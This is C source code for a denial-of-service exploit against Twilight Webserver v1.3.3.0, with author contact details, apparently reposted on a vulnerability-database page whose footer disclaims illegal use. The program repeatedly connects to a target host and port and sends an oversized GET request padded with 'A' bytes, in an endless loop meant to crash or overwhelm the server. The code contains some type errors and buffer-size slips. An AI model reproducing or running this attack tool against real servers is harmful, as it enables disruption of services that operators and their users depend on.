/**************************************************************************** * Denial of Service Attack against Twilight Webserver v1.3.3.0 * Author: H0tTurk- * * WebSite: http://www.twilightutilities.com * Version: Twilight Webserver v1.3.3.0 $24.95 USD * NewVersion: Tw 2.1 * * Exploit: tw.c * Compile: gcc twilight -o tw * Contact: * [-] Mail: hotturk@mynet.com * [-] Web: http://www.ayyildiz.org * [-] MSN: h0tturk@h0tturk.com *****************************************************************************/ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in srv; struct hostent *host; char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n"; memset(flood, 0x41, 1037); strncpy(send, get, sizeof(send) -1); strncat(send, flood, sizeof(send) - strlen(send) -1); strncat(send, http, sizeof(send) - strlen(send) -1); if(argc < 3) { printf("Usage: %s [target] <port>\n", argv[0]); exit(0); } if((host = gethostbyname(argv[1])) == NULL) { printf("Unknown host!\n"); exit(0); } srv.sin_family = AF_INET; srv.sin_port = htons(atoi(argv[2])); srv.sin_addr.s_addr = inet_addr((char*)argv[1]); printf("h0t against Twilight Webserver v1.3.3.0\n"); for(;;) { if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Can't start socket()!\n"); exit(0); } if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0) { printf("Connection to server broken!\n"); close(sockfd); } if(write(sockfd, send, strlen(send)) < 0) { break; } close(sockfd); } printf("Attack done!...\n"); return 0; }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论